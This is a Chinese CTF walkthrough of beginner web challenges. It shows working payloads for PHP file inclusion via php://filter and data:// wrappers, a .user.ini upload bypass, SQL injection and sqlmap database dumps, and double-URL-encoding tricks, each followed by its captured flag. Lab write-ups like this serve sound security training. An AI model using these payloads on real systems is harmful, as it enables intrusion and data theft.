                    WRONG WAY! <?php\ninclude(\"flag.php\"); \/\/ \u5305\u542bflag\u6587\u4ef6\uff0c\u9700\u901a\u8fc7\u6587\u4ef6\u5305\u542b\u8bfb\u53d6\nhighlight_file(__FILE__); \/\/ \u663e\u793a\u5f53\u524d\u6e90\u7801\nif(isset($_GET[\"file1\"]) && isset($_GET[\"file2\"])) \/\/ \u5fc5\u987b\u4f20GET\u53c2\u6570file1\u3001file2\n{\n    $file1 = $_GET[\"file1\"];\n    $file2 = $_GET[\"file2\"];\n    if(!empty($file1) && !empty($file2)) \/\/ \u4e24\u4e2a\u53c2\u6570\u90fd\u4e0d\u80fd\u4e3a\u7a7a\n    {\n        if(file_get_contents($file2) === \"hello ctf\") \/\/ file2\u8bfb\u53d6\u5185\u5bb9\u5fc5\u987b\u4e25\u683c\u7b49\u4e8e\"hello ctf\"\n        {\n            include($file1); \/\/ \u6ee1\u8db3\u6761\u4ef6\u5219\u5305\u542bfile1\uff0c\u76ee\u6807\u662f\u901a\u8fc7\u6b64\u8bfb\u53d6flag.php\n        }\n    }\n    else\n        die(\"NONONO\"); \/\/ \u53c2\u6570\u4e3a\u7a7a\u5219\u7ec8\u6b62\n}<\/code><\/pre>\n\n\n\n
                    \u8981\u62ff\u5230 flag \u9700\u6ee1\u8db3 2 \u4e2a\u6838\u5fc3\u6761\u4ef6\uff1a<\/p>\n\n\n\n
                      \n
                    1. file_get_contents($file2) === \"hello ctf\"<\/code>\uff1a\u5229\u7528 PHP\u4f2a\u534f\u8bae<\/strong>\u6784\u9020file2<\/code>\uff0c\u8ba9file_get_contents<\/code>\u8bfb\u53d6\u5230\u6307\u5b9a\u5b57\u7b26\u4e32\uff1b<\/li>\n\n\n\n

                    2. include($file1)<\/code>\uff1a\u5229\u7528 PHP\u6587\u4ef6\u5305\u542b\u4f2a\u534f\u8bae<\/strong>\u6784\u9020file1<\/code>\uff0c\u8bfb\u53d6flag.php<\/code>\u7684\u5185\u5bb9\uff08\u907f\u514d\u76f4\u63a5\u89e3\u6790 PHP \u4ee3\u7801\uff0c\u9700\u7f16\u7801\u8f93\u51fa\uff09\u3002<\/p>
                      1\uff1a\u6784\u9020file2<\/code>\uff08\u6ee1\u8db3\u5185\u5bb9\u7b49\u4e8e “hello ctf”\uff09<\/p>
                      <\/li>\n<\/ol>\n\n\n\n
                      file_get_contents<\/code>\u652f\u6301data:\/\/<\/code>\u4f2a\u534f\u8bae\uff08\u6570\u636e\u6d41\u534f\u8bae\uff09\uff0c\u53ef\u76f4\u63a5\u6784\u9020\u5305\u542b\u6307\u5b9a\u5185\u5bb9\u7684\u6570\u636e\u6d41\uff1a<\/p>\n\n\n\n
                        \n
                      • \u683c\u5f0f\uff1adata:\/\/text\/plain,hello ctf<\/code>\uff08\u6ce8\u610f\u7a7a\u683c\u9700 URL \u7f16\u7801\u4e3a%20<\/code>\uff09\uff1b<\/li>\n\n\n\n

                      • \u539f\u7406\uff1afile_get_contents(\"data:\/\/text\/plain,hello ctf\")<\/code> \u4f1a\u76f4\u63a5\u8fd4\u56de\u5b57\u7b26\u4e32hello ctf<\/code>\uff0c\u6ee1\u8db3\u4e25\u683c\u7b49\u4e8e\u6761\u4ef6\u3002<\/p>
                        2\uff1a\u6784\u9020file1<\/code>\uff08\u8bfb\u53d6 flag.php\uff09<\/p>
                        <\/li>\n<\/ul>\n\n\n\n
                        \u5229\u7528php:\/\/filter<\/code>\u4f2a\u534f\u8bae\u8bfb\u53d6flag.php<\/code>\uff08PHP \u6587\u4ef6\u76f4\u63a5 include \u4f1a\u89e3\u6790\u4ee3\u7801\uff0c\u9700 base64 \u7f16\u7801\u8f93\u51fa\u5185\u5bb9\uff09\uff1a<\/p>\n\n\n\n
                          \n
                        • \u683c\u5f0f\uff1aphp:\/\/filter\/read=convert.base64-encode\/resource=flag.php<\/code>\uff1b<\/li>\n\n\n\n
                        • \u539f\u7406\uff1a\u8be5\u4f2a\u534f\u8bae\u4f1a\u8bfb\u53d6flag.php<\/code>\u7684\u539f\u59cb\u5185\u5bb9\u5e76 base64 \u7f16\u7801\uff0c\u907f\u514d PHP \u89e3\u6790\uff0c\u76f4\u63a5\u8f93\u51fa\u7f16\u7801\u540e\u7684\u5185\u5bb9\uff0c\u89e3\u7801\u540e\u5373\u53ef\u5f97\u5230 flag\u3002<\/li>\n<\/ul>\n\n\n\n
                          \u5b8c\u6574 Payload<\/p>\n\n\n\n
                          http://61.147.171.103:53569\/?file1=php:\/\/filter\/read=convert.base64-encode\/resource=flag.php&file2=data:\/\/text\/plain,hello%20ctf<\/code><\/pre>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          base\u89e3\u7801<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          cyberpeace{b96ef8b46aa3c4652c5fc3ab55df0bf1}<\/code><\/pre>\n\n\n\n
                          fileinclude<\/h2>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u8bbf\u95eeindex.php<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u53d1\u73b0\u9875\u9762\u6ca1\u6709\u4e1c\u897fcurl \u6216\u8005\u6293\u5305\u770b\u770b<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u53ef\u4ee5\u53d1\u73b0\u6e90\u7801<\/p>\n\n\n\n
                          <html>\n<head><meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\" \/><\/head>\n\n<br \/>\n<b>Notice<\/b>:  Undefined index: language in <b>\/var\/www\/html\/index.php<\/b> on line <b>9<\/b><br \/>\nPlease choose the language you want : English or Chinese\n<h1>Hi,EveryOne,The flag is in flag.php<\/h1><html>\n<head><meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\" \/><\/head>\n\n<?php\nif( !ini_get('display_errors') ) {\n  ini_set('display_errors', 'On');\n  }\nerror_reporting(E_ALL);\n$lan = $_COOKIE['language'];\nif(!$lan)\n{\n    @setcookie(\"language\",\"english\");\n    @include(\"english.php\");\n}\nelse\n{\n    @include($lan.\".php\");\n}\n$x=file_get_contents('index.php');\necho $x;\n?>\n<\/html><\/html><\/code><\/pre>\n\n\n\n
                          \u6f0f\u6d1e\u6838\u5fc3<\/p>\n\n\n\n
                          @include($lan.\".php\")<\/code> \u4e2d\uff0c$lan<\/code> \u6765\u81ea Cookie \u7684language<\/code>\u53c2\u6570\uff0c\u4e14\u4f1a\u62fc\u63a5.php<\/code>\u540e\u7f00\u3002\u5229\u7528 PHP \u4f2a\u534f\u8baephp:\/\/filter<\/code>\u53ef\u8bfb\u53d6flag.php<\/code>\u7684\u539f\u59cb\u5185\u5bb9\uff0c\u65e0\u9700\u622a\u65ad\uff08\u62fc\u63a5\u540e\u6070\u597d\u662fflag.php<\/code>\uff09\u3002<\/p>\n\n\n\n
                          \u4f2a\u534f\u8bae\u6784\u9020<\/strong>\uff1a\u901a\u8fc7php:\/\/filter\/read=convert.base64-encode\/resource=flag<\/code>\u6784\u9020language<\/code>\u7684 Cookie \u503c\uff0c\u62fc\u63a5\u540e\u4e3aphp:\/\/filter\/...\/resource=flag.php<\/code>\uff0c\u7cbe\u51c6\u8bfb\u53d6\u76ee\u6807\u6587\u4ef6\uff1b<\/p>\n\n\n\n
                          \u7528curl\u547d\u4ee4 \u6784\u9020Payload<\/p>\n\n\n\n
                          curl -v -H \"Cookie: language=php:\/\/filter\/read=convert.base64-encode\/resource=flag\" http:\/\/61.147.171.35:54585\/<\/code><\/pre>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          PD9waHANCiRmbGFnPSJjeWJlcnBlYWNle2E2NzJkZDNiYTM3ODk1OGYzMDYxYTg0ZWJhODE1YjYxfSI7DQo\/Pg==<\/code><\/pre>\n\n\n\n
                          \u89e3\u7801<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          cyberpeace{a672dd3ba378958f3061a84eba815b61}<\/code><\/pre>\n\n\n\n
                          easyupload<\/h2>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u662f\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\u7684\u9898\u76ee<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u4e0a\u4f20php\u88ab\u8fc7\u6ee4 \u4fee\u6539\u540e\u7f00\u540d\u5b57\u88ab\u8fc7\u6ee4\uff0c\u4e0a\u4f20\u56fe\u7247\u4e5f\u4e0d\u884c\uff0cgif\u4ec0\u4e48\u7684\u4e5f\u4e0d\u884c \u5934\u50cf\u662findex.php\u53ef\u4ee5\u89e3\u6790php<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u53d1\u73b0\u53ef\u4ee5\u901a\u8fc7.user.ini\u8ba9\u4ed6\u89e3\u6790php\u7684\u5185\u5bb9\u3002<\/p>\n\n\n\n
                          \u4f5c\u7528:\u7279\u5b9a\u4e8e\u7528\u6237\u6216\u7279\u5b9a\u76ee\u5f55\u7684\u914d\u7f6e\u6587\u4ef6,\u901a\u5e38\u4f4d\u4e8e\u00b7Web\u00b7\u5e94\u7528\u7a0b\u5e8f\u7684\u6839\u76ee\u5f55\u4e0b\u3002\u5b83\u7528\u4e8e\u8986\u76d6\u6216\u8ffd\u52a0\u5168\u5c40\u914d\u7f6e\u6587\u4ef6(\u5982\u00b7php.ini)\u4e2d\u7684\u00b7PHP.\u914d\u7f6e\u9009\u9879\u3002<\/p>\n\n\n\n
                          \u4f5c\u7528\u8303\u56f4:\u5b58\u653e\u8be5\u6587\u4ef6\u7684\u76ee\u5f55\u4ee5\u53ca\u5176\u5b50\u76ee\u5f55<\/p>\n\n\n\n
                          \u4f18\u5148\u7ea7:\u8f83\u9ad8\uff0c\u53ef\u4ee5\u8986\u76d6 php.ini<\/p>\n\n\n\n
                          \u751f\u6548\u65b9\u5f0f:\u7acb\u5373\u751f\u6548<\/p>\n\n\n\n
                          \u521b\u5efa.user.ini<\/p>\n\n\n\n
                          \u5199\u5165<\/p>\n\n\n\n
                          GIF89a\nauto_prepend_file=sanjiu.jpg<\/code><\/pre>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          auto_prepend_file\u53ef\u4ee5\u8ba9\u6240\u6709\u7684php\u6587\u4ef6\u81ea\u52a8\u7684\u5305\u542b\u67d0\u4e2a\u6587\u4ef6<\/p>\n\n\n\n
                          \u5148\u4e0a\u4f20.user.ini burp\u6293\u5305<\/p>\n\n\n\n
                          \u4fee\u6539coontent-type\u4e3a\u56fe\u7247\u683c\u5f0f<\/p>\n\n\n\n
                          image\/jpg<\/code><\/pre>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u4e0a\u4f20\u6210\u529f<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u56fe\u7247\u5185\u5bb9<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u4e0a\u4f20\u56fe\u7247<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u4e0a\u4f20\u6210\u529f<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u5730\u5740\u662f\/uploads\/index.php<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          cyberpeace{8b07ba4213ab9de1979dd13be0bb0c12}<\/code><\/pre>\n\n\n\n
                          inget<\/h2>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u65b9\u6cd5\u4e00<\/h3>\n\n\n\n
                          SQL\u6ce8\u5165\u9898\u76ee\u4e07\u80fd\u5bc6\u7801\u76f4\u63a5\u51fa\u6765<\/p>\n\n\n\n
                          \/?id=' or 1=1 -- +<\/code><\/pre>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u65b9\u6cd5\u4e8c<\/h3>\n\n\n\n
                          \u77e5\u9053\u6ce8\u5165\u70b9\u4e86<\/p>\n\n\n\n
                          \u76f4\u63a5SQLmap<\/p>\n\n\n\n
                          http://61.147.171.35:50586\/?id=1<\/code><\/pre>\n\n\n\n
                          \u68c0\u6d4b SQL \u6ce8\u5165\u70b9<\/strong><\/p>\n\n\n\n
                          sqlmap -u \"http:\/\/61.147.171.35:50586\/?id=1\" --batch<\/code><\/pre>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u7206\u7834\u6240\u6709\u6570\u636e\u5e93\u540d<\/strong><\/p>\n\n\n\n
                          sqlmap -u \"http:\/\/61.147.171.35:50586\/?id=1\" --dbs --batch<\/code><\/pre>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          cyber\u5c31\u662f\u6211\u4eec\u8fd9\u4e2a\u5e93\u540d\u5b57<\/p>\n\n\n\n
                          \u7206cyber<\/code>\u5e93\u7684\u6240\u6709\u8868\u540d<\/strong><\/p>\n\n\n\n
                          sqlmap -u \"http:\/\/61.147.171.35:50586\/?id=1\" -D cyber --tables --batch --threads 5<\/code><\/pre>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u7206cyber\u8868\u7684\u6240\u6709\u5b57\u6bb5<\/strong><\/p>\n\n\n\n
                          \u67e5\u770bcyber\u8868\u91cc\u9762\u7684\u5185\u5bb9<\/p>\n\n\n\n
                          sqlmap -u \"http:\/\/61.147.171.35:50586\/?id=1\" -D cyber -T cyber --dump --batch --threads 5<\/code><\/pre>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u4e00\u6b65\u5230\u4f4d\uff08\u76f4\u63a5 dump \u76ee\u6807\u5e93\u6240\u6709\u5185\u5bb9\uff09<\/strong><\/p>\n\n\n\n
                          sqlmap -u \"http:\/\/61.147.171.35:50586\/?id=1\" -D cyber --dump-all --batch --threads 5<\/code><\/pre>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          cyberpeace{f59c5eac45f4b644cda86d200863a07d}<\/code><\/pre>\n\n\n\n
                          robots<\/h2>\n\n\n\n
                          robots\u534f\u8bae\u4e5f\u79f0\u722c\u866b\u534f\u8bae\u3001\u722c\u866b\u89c4\u5219\u7b49,\u662f\u6307\u7f51\u7ad9\u53ef\u5efa\u7acb\u4e00\u4e2arobots.txt\u6587\u4ef6\u6765\u544a\u8bc9\u641c\u7d22\u5f15\u64ce\u54ea\u4e9b\u9875\u9762\u53ef\u4ee5\u6293\u53d6,\u54ea\u4e9b\u9875\u9762\u4e0d\u80fd\u6293\u53d6,\u800c\u641c\u7d22\u5f15\u64ce\u5219\u901a\u8fc7\u8bfb\u53d6robots.txt\u6587\u4ef6\u6765\u8bc6\u522b\u8fd9\u4e2a\u9875\u9762\u662f\u5426\u5141\u8bb8\u88ab\u6293\u53d6\u3002\u4f46\u662f,\u8fd9\u4e2arobots\u534f\u8bae\u4e0d\u662f\u9632\u706b\u5899,\u4e5f\u6ca1\u6709\u5f3a\u5236\u6267\u884c\u529b,\u641c\u7d22\u5f15\u64ce\u5b8c\u5168\u53ef\u4ee5\u5ffd\u89c6robots.txt\u6587\u4ef6\u53bb\u6293\u53d6\u7f51\u9875\u7684\u5feb\u7167\u3002 \u5982\u679c\u60f3\u5355\u72ec\u5b9a\u4e49\u641c\u7d22\u5f15\u64ce\u7684\u6f2b\u6e38\u5668\u8bbf\u95ee\u5b50\u76ee\u5f55\u65f6\u7684\u884c\u4e3a\uff0c\u90a3\u4e48\u53ef\u4ee5\u5c06\u81ea\u5b9a\u7684\u8bbe\u7f6e\u5408\u5e76\u5230\u6839\u76ee\u5f55\u4e0b\u7684robots.txt\uff0c\u6216\u8005\u4f7f\u7528robots\u5143\u6570\u636e\uff08Metadata\uff0c\u53c8\u79f0\u5143\u6570\u636e\uff09\u3002\nrobots\u534f\u8bae\u5e76\u4e0d\u662f\u4e00\u4e2a\u89c4\u8303\uff0c\u800c\u53ea\u662f\u7ea6\u5b9a\u4fd7\u6210\u7684\uff0c\u6240\u4ee5\u5e76\u4e0d\u80fd\u4fdd\u8bc1\u7f51\u7ad9\u7684\u9690\u79c1\u3002<\/code><\/pre>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u8bbf\u95eerobots.txt<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \u8bbf\u95eef1ag_1s_h3re.php<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          cyberpeace{db690b485afed879cd99db3da0d56016}<\/code><\/pre>\n\n\n\n
                          get_post<\/h2>\n\n\n\n
                          get\u662f\u4ece\u670d\u52a1\u5668\u4e0a\u83b7\u53d6\u6570\u636e\uff0cpost\u662f\u5411\u670d\u52a1\u5668\u4f20\u9001\u6570\u636e<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          http://61.147.171.35:55998\/?a=1<\/code><\/pre>\n\n\n\n
                          Get\u63d0\u4ea4\u5c31\u884c<\/p>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          cyberpeace{fa8b4fcea7ad1cc16973cadea4dbf01f}<\/code><\/pre>\n\n\n\n
                          disabled_button<\/h2>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          \"\"<\/div><\/figure>\n\n\n\n
                          disabled<\/code> \u672c\u8d28\u662f\u6807\u8bb0\u5143\u7d20\u4e3a\u300c\u7981\u7528\u72b6\u6001\u300d\uff1a<\/p>\n\n\n\n
                            \n
                          • \u5143\u7d20\u65e0\u6cd5\u54cd\u5e94\u7528\u6237\u64cd\u4f5c\uff08\u70b9\u51fb\u3001\u8f93\u5165\u3001\u9009\u4e2d\u3001\u83b7\u53d6\u7126\u70b9\u7b49\uff09\uff1b<\/li>\n\n\n\n
                          • \u6d4f\u89c8\u5668\u4f1a\u9ed8\u8ba4\u7ed9\u7981\u7528\u5143\u7d20\u6e32\u67d3\u300c\u4e0d\u53ef\u4ea4\u4e92\u6837\u5f0f\u300d\uff08\u6bd4\u5982\u53d8\u7070\u3001\u964d\u4f4e\u900f\u660e\u5ea6\uff09\uff1b<\/li>\n\n\n\n
                          • \u8868\u5355\u5143\u7d20\uff08\u5982 input\u3001select\uff09\u7981\u7528\u540e\uff0c\u63d0\u4ea4\u8868\u5355\u65f6\u4e0d\u4f1a\u643a\u5e26\u5176\u503c\u3002<\/li>\n<\/ul>\n\n\n\n
                            \u5c31\u662f\u76f4\u63a5\u7981\u7528 \u76f4\u63a5\u628a\u8fd9\u4e2a\u5220\u9664\u5c31\u884c<\/p>\n\n\n\n
                            \"\"<\/div><\/figure>\n\n\n\n
                            cyberpeace{6370c63e7750751f1e87b5b69b091794}<\/code><\/pre>\n\n\n\n
                            cookie<\/h2>\n\n\n\n
                            \"\"<\/div><\/figure>\n\n\n\n
                            Cookie\uff0c\u6709\u65f6\u4e5f\u7528\u5176\u590d\u6570\u5f62\u5f0f Cookies\u3002\u7c7b\u578b\u4e3a\u201c\u5c0f\u578b\u6587\u672c\u6587\u4ef6\u201d\uff0c\u662f\u67d0\u4e9b\u7f51\u7ad9\u4e3a\u4e86\u8fa8\u522b\u7528\u6237\u8eab\u4efd\uff0c\u8fdb\u884cSession\u8ddf\u8e2a\u800c\u50a8\u5b58\u5728\u7528\u6237\u672c\u5730\u7ec8\u7aef\u4e0a\u7684\u6570\u636e\uff08\u901a\u5e38\u7ecf\u8fc7\u52a0\u5bc6\uff09\uff0c\u7531\u7528\u6237\u5ba2\u6237\u7aef\u8ba1\u7b97\u673a\u6682\u65f6\u6216\u6c38\u4e45\u4fdd\u5b58\u7684\u4fe1\u606f \u3002\n   Cookie\u5c31\u662f\u4e00\u4e9b\u6570\u636e\uff0c\u7528\u4e8e\u5b58\u50a8\u670d\u52a1\u5668\u8fd4\u56de\u7ed9\u5ba2\u670d\u7aef\u7684\u4fe1\u606f\uff0c\u5ba2\u6237\u7aef\u8fdb\u884c\u4fdd\u5b58\u3002\u5728\u4e0b\u4e00\u6b21\u8bbf\u95ee\u8be5\u7f51\u7ad9\u65f6\uff0c\u5ba2\u6237\u7aef\u4f1a\u5c06\u4fdd\u5b58\u7684cookie\u4e00\u540c\u53d1\u7ed9\u670d\u52a1\u5668\uff0c\u670d\u52a1\u5668\u518d\u5229\u7528cookie\u8fdb\u884c\u4e00\u4e9b\u64cd\u4f5c\u3002\u5229\u7528cookie\u6211\u4eec\u5c31\u53ef\u4ee5\u5b9e\u73b0\u81ea\u52a8\u767b\u5f55\uff0c\u4fdd\u5b58\u6e38\u89c8\u5386\u53f2\uff0c\u8eab\u4efd\u9a8c\u8bc1\u7b49\u529f\u80fd\u3002<\/code><\/pre>\n\n\n\n
                            f12 \u67e5\u770bcookie<\/p>\n\n\n\n
                            \"\"<\/div><\/figure>\n\n\n\n
                            \u53d1\u73b0cookie.php\u8bbf\u95ee\u4e00\u4e0b<\/p>\n\n\n\n
                            \"\"<\/div><\/figure>\n\n\n\n
                            \u770b\u54cd\u5e94\u5305<\/p>\n\n\n\n
                            f12\u53ef\u4ee5\u770b<\/p>\n\n\n\n
                            \"\"<\/div><\/figure>\n\n\n\n
                            \u6216\u8005burp\u6293\u5305<\/p>\n\n\n\n
                            \"\"<\/div><\/figure>\n\n\n\n
                            cyberpeace{b56a1f9d2c2d0b8483ac31b68ed27724}<\/code><\/pre>\n\n\n\n
                            backup<\/h2>\n\n\n\n
                            \"\"<\/div><\/figure>\n\n\n\n
                            \u5c31\u662f\u4e00\u4e2a\u5907\u4efd\u6587\u4ef6<\/p>\n\n\n\n
                            \u5e38\u89c1\u7684\u5907\u4efd\u6587\u4ef6\u540e\u7f00<\/h3>\n\n\n\n

                            \u5e38\u89c1\u7684\u7f51\u7ad9\u6e90\u7801\u5907\u4efd\u6587\u4ef6\u540e\u7f00 bak<\/p>
                            old<\/p>
                            tar<\/p>
                            tar.gz<\/p>
                            zip<\/p>
                            rar<\/p>
                            ……<\/p>
                            \u5e38\u89c1\u7684\u7f51\u7ad9\u6e90\u7801\u5907\u4efd\u6587\u4ef6\u540d<\/p>
                            web<\/p>
                            website<\/p>
                            backup<\/p>
                            back<\/p>
                            www<\/p>
                            wwwroot<\/p>
                            temp<\/p>
                            ……<\/p>
                            index.php<\/strong> \u6587\u4ef6\u7684\u5907\u4efd\u6587\u4ef6\u540d\u901a\u5e38\u4f1a\u6709\u4e00\u4e9b\u5e38\u89c1\u7684\u540e\u7f00\uff0c\u5982 .bak<\/em>\u3001.old<\/em>\u3001.backup<\/em> \u7b49\u3002<\/p><\/p>\n\n\n\n
                              <\/ol>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \u8bbf\u95ee\u4e00\u4e2a\u4e00\u4e2a\u8bd5\u8bd5\u5c31\u884c<\/p>\n\n\n\n
                              http://61.147.171.105:54139\/index.php.bak<\/code><\/pre>\n\n\n\n
                              \u8bbf\u95ee\u8fd9\u4e2a\u5c31\u884c<\/p>\n\n\n\n
                              \u76f4\u63a5\u4e0b\u8f7d<\/p>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \u626b\u63cf\u76ee\u5f55\u4e5f\u884c\u5c31\u53ef\u4ee5\u770b\u5230<\/p>\n\n\n\n
                              \u5907\u4efd\u6587\u4ef6<\/p>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}<\/code><\/pre>\n\n\n\n
                              ics-06<\/h2>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \u53ea\u6709\u62a5\u8868\u4e2d\u5fc3\u53ef\u4ee5\u8bbf\u95ee<\/p>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \u6211\u4eec\u53d1\u73b0URL\u680f\u6709id\u5b57\u6837\u8bf4\u660e\u6211\u4eec\u53ef\u4ee5\u4fee\u6539id\u67e5\u770b\u5185\u5bb9<\/p>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \u4fee\u6539id\u53d1\u73b0\u6ca1\u6709\u62a5\u9519\u8bf4\u660e\u5c31\u662f\u4fee\u6539id\u5b57\u6bb5 burp\u7206\u7834<\/p>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              id=2333\u7206\u51fa<\/p>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              cyberpeace{77f051e7121c88862bcb7e7fe7d1099c}<\/code><\/pre>\n\n\n\n
                              PHP2<\/h2>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \u9875\u9762\u4ec0\u4e48\u4e5f\u6ca1\u6709\u76f4\u63a5\u626b\u63cf<\/p>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \u9875\u9762\u5b58\u5728index.php\u548cindex.phps\u8bbf\u95ee<\/p>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \u53d1\u73b0\u8fd8\u662f\u4ec0\u4e48\u4e5f\u6ca1\u6709<\/p>\n\n\n\n
                              \u52a0\u4e00\u4e2as\u5c31\u53ef\u4ee5\u53d1\u73b0\u6e90\u7801<\/p>\n\n\n\n
                              \u4ec0\u4e48\u662fphps\u6587\u4ef6\uff1f\nphps\u6587\u4ef6\u5c31\u662fphp\u7684\u6e90\u4ee3\u7801\u6587\u4ef6\uff0c\u901a\u5e38\u7528\u4e8e\u63d0\u4f9b\u7ed9\u7528\u6237\uff08\u8bbf\u95ee\u8005\uff09\u67e5\u770bphp\u4ee3\u7801\uff0c\u56e0\u4e3a\u7528\u6237\u65e0\u6cd5\u76f4\u63a5\u901a\u8fc7Web\u6d4f\u89c8\u5668\u770b\u5230php\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u6240\u4ee5\u9700\u8981\u7528phps\u6587\u4ef6\u4ee3\u66ff\u3002\u5176\u5b9e\uff0c\u53ea\u8981\u4e0d\u7528php\u7b49\u5df2\u7ecf\u5728\u670d\u52a1\u5668\u4e2d\u6ce8\u518c\u8fc7\u7684MIME\u7c7b\u578b\u4e3a\u6587\u4ef6\u5373\u53ef\uff0c\u4f46\u4e3a\u4e86\u56fd\u9645\u901a\u7528\uff0c\u6240\u4ee5\u624d\u7528\u4e86phps\u6587\u4ef6\u7c7b\u578b\u3002<\/code><\/pre>\n\n\n\n
                              \"\"<\/div><\/figure>\n\n\n\n
                              \u5206\u6790<\/p>\n\n\n\n
                              PHP \u63a5\u6536 GET \u53c2\u6570\u65f6\uff0c\u4f1a\u81ea\u52a8\u5bf9\u53c2\u6570\u505a\u4e00\u6b21 URL \u89e3\u7801\uff1b\n\u4ee3\u7801\u4e2d\u53c8\u624b\u52a8\u8c03\u7528 urldecode() \u505a\u4e86\u7b2c\u4e8c\u6b21 URL \u89e3\u7801\uff0c\u5f62\u6210\u300c\u4e8c\u6b21 URL \u89e3\u7801\u6f0f\u6d1e\u300d\uff1b\n\u7b2c\u4e00\u6bb5\u662f\u300c\u4e25\u683c\u7b49\u4e8e\uff08===\uff09\u300d\uff0c\u7b2c\u4e8c\u6bb5\u662f\u300c\u677e\u6563\u7b49\u4e8e\uff08==\uff09\u300d\uff0c\u53ea\u8981\u7ed5\u8fc7\u7b2c\u4e00\u6bb5\u4e25\u683c\u5224\u65ad\uff0c\u540c\u65f6\u8ba9\u7b2c\u4e8c\u6bb5\u89e3\u7801\u540e\u7b49\u4e8e admin \u5373\u53ef\u62ff\u5230 Flag\u3002<\/code><\/pre>\n\n\n\n
                              admin<\/code> \u6bcf\u4e2a\u5b57\u7b26\u7684\u4e00\u6b21 URL \u7f16\u7801\uff1a<\/p>\n\n\n\n
                                \n
                              • a<\/code> \u2192 %61<\/code>\u3001d<\/code>\u2192%64<\/code>\u3001m<\/code>\u2192%6D<\/code>\u3001i<\/code>\u2192%69<\/code>\u3001n<\/code>\u2192%6E<\/code><\/li>\n\n\n\n
                              • \u5b8c\u6574\u4e00\u6b21\u7f16\u7801\uff1a%61%64%6D%69%6E<\/code><\/li>\n<\/ul>\n\n\n\n
                                \u7136\u540e\u5bf9\u6574\u4e2a admin<\/code> \u4e8c\u6b21\u7f16\u7801\uff1a<\/p>\n\n\n\n
                                ?id=%2561%2564%256D%2569%256E<\/code><\/pre>\n\n\n\n
                                http://61.147.171.105:61342\/index.php?id=%2561%2564%256D%2569%256E<\/code><\/pre>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                cyberpeace{6cea349f70d33a6c15495db0ff62c28d}<\/code><\/pre>\n\n\n\n
                                Training-WWW-Robots<\/h2>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \u8bbf\u95eerobots.txt<\/p>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \u53d1\u73b0fl0g.php \u8bbf\u95ee<\/p>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                cyberpeace{7b662f02b06344f6d5b7e67c2b8fd7d2}<\/code><\/pre>\n\n\n\n
                                unserialize3<\/h2>\n\n\n\n
